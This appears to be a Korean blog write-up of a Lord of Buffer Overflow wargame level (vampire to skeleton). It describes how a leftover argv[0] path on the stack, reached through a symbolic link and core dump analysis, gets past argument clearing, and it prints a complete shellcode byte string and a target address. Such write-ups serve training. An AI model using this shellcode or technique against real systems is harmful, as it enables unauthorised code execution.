본문 바로가기

WARGAME/Lob

LOB LEVEL10 (Vampire ==> Skeleton)

안녕하세요

ultra argv hunter! 부분을 보면

argv[]를 초기화 한다

모두 초기화 된다 해도 

스택에 끝에 프로그램 경로는 남아있습니다


스택 메모리를 살펴보자





이름을 찾았다

초기화를 했지만 스택 끝에 

argv[0]이 남아있는걸 확인했다


심볼릭 링크를 만든다

코어를 분석해보자


사용할 주소는 0xbfffffd0 이다





여기서 쉘코드 때문에 고생했다

왜 그런지는 모르겠지만

 \x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x

8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14

\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3

이 쉘코드를 사용하니 됬다!!




아무튼 성공했다..... 



'WARGAME > Lob' 카테고리의 다른 글

LOB LEVEL12 (Golem ==> darkknight)  (0) 2015.12.16
LOB LEVEL11 (skeleton ==> golem)  (0) 2015.12.15
LOB LEVEL9 (Troll ==> Vampire)  (0) 2015.12.13
Lob Level8 (orge ==> troll)  (0) 2015.12.13
Lob Level7 (darkelf ==> orge)  (4) 2015.03.25